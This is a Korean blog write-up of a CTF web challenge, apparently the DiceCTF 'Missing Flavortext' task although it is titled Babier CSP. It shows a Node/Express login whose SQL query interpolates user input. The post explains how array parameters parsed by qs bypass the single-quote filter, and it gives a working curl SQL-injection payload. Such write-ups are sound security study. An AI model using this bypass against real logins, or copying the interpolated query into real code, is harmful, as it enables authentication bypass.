[DiceCTF]의 web/Babier CSP 문제를 Review 해보도록 하겠다.

직접 푼 문제는 아니고 대회 종료 후 writeup을 보면 풀어본 문제다.

 

로그인 기능을 구현한 웹페이지가 있었다.

아래는 순서대로 이페이지의 소스코드와 index.js의 소스 코드이다.

<!doctype html>
<html>
    <head>
        <link rel="stylesheet" href="/styles.css">
    </head>
    <body>
        <div>
          <h1>Login</h1>
          <form method="POST" action="/login">
            <label for="username">Username</label>
            <input name="username" type="text" id="username"/>
            <label for="username">Password</label>
            <input name="password" type="password" id="password"/>
            <input type="submit" value="Submit"/>
          </form>
        </div>
    </body>
</html>
const crypto = require('crypto');
const db = require('better-sqlite3')('db.sqlite3')

// remake the `users` table
db.exec(`DROP TABLE IF EXISTS users;`);
db.exec(`CREATE TABLE users(
  id INTEGER PRIMARY KEY AUTOINCREMENT,
  username TEXT,
  password TEXT
);`);

// add an admin user with a random password
db.exec(`INSERT INTO users (username, password) VALUES (
  'admin',
  '${crypto.randomBytes(16).toString('hex')}'
)`);

const express = require('express');
const bodyParser = require('body-parser');

const app = express();

// parse json and serve static files
app.use(bodyParser.urlencoded({ extended: true }));
app.use(express.static('static'));

// login route
app.post('/login', (req, res) => {
  if (!req.body.username || !req.body.password) {
    return res.redirect('/');
  }

  if ([req.body.username, req.body.password].some(v => v.includes('\''))) {
    return res.redirect('/');
  }

  // see if user is in database
  const query = `SELECT id FROM users WHERE
    username = '${req.body.username}' AND
    password = '${req.body.password}'
  `;

  let id;
  try { id = db.prepare(query).get()?.id } catch {
    return res.redirect('/');
  }

  // correct login
  if (id) return res.sendFile('flag.html', { root: __dirname });

  // incorrect login
  return res.redirect('/');
});

app.listen(3000);

 

index.js 소스코드 리딩을 통해 correct Login을 수행하여 flag.html을 얻는게 우리 목표인 것을 확인하였다.

소스코드를 리딩하기 전에 간단한 SQL injection들을 시도하여 원래 페이지로 리다이렉트 되는 것을 확인 할 수 있었고,

이는 index.js 코드에도 설정되어 있었다.

  if ([req.body.username, req.body.password].some(v => v.includes('\''))) {
    return res.redirect('/');
  }

 

app.post에서 '가 통제되고 있는 것을 확인 할 수 있다.

(추가) 문자열을 검사하여 싱글쿼터의 존재 유무를 검사한다.

index.js 코드를 다시 보니 아래와 코드가 보였다.

app.use(bodyParser.urlencoded({ extended: true }));

bodyParser.urlencoded({         })); 

이는 중첩된 객체표현을 허락할지 말지 정할 때 사용된다.

이때 빈칸에 코드와 같이 extended: true가 기입되면 객체 안에 객체가 들어가는 걸 허용하게 된다.

 

qs library와 querystring library, 설정에 따라 사용하는 라이브러리가 달라지는데 더 자세한 점은 아래 stackoverflow를 참고하기 바란다.

stackoverflow.com/questions/29960764/what-does-extended-mean-in-express-4-0/45690436#45690436

 

우리는 'qs를 사용하여 쿼리 분석이 이루어 진다. qs는 쿼리 문자열에서 중첩 된 객체를 만든다' 라는 사실을 알 수 있다.

 

대략 이런식?
username[]='aaaa'&password[]='aaaa'

(추가)이게 문자열이 아니라 객체로 인식이 되어 버려서 필터링을 우회 할 수 있게 된다.

 

 

이 점을 이용해서 만들어진 페이로드는 아래와 같다.

curl -XPOST "https://missing-flavortext.dicec.tf/login" -d "username=admin&password[]=' OR 1=1 -- &password[]=\'"

이 페이로드를 사용하여 request를 보내면 아래와 같이 flag가 나온다.

 

 

'Challenge > CTF' 카테고리의 다른 글

[2021 hspace] Baby_Crypto  (0) 2021.05.07
[DiceCTF] web/Web Utils (2)  (0) 2021.03.09
[DiceCTF] web/Web Utils (1)  (0) 2021.02.23
[DiceCTF] web/Babier CSP  (0) 2021.02.09
CYBRICS CAPTURE THE FLAG  (0) 2020.07.28

+ Recent posts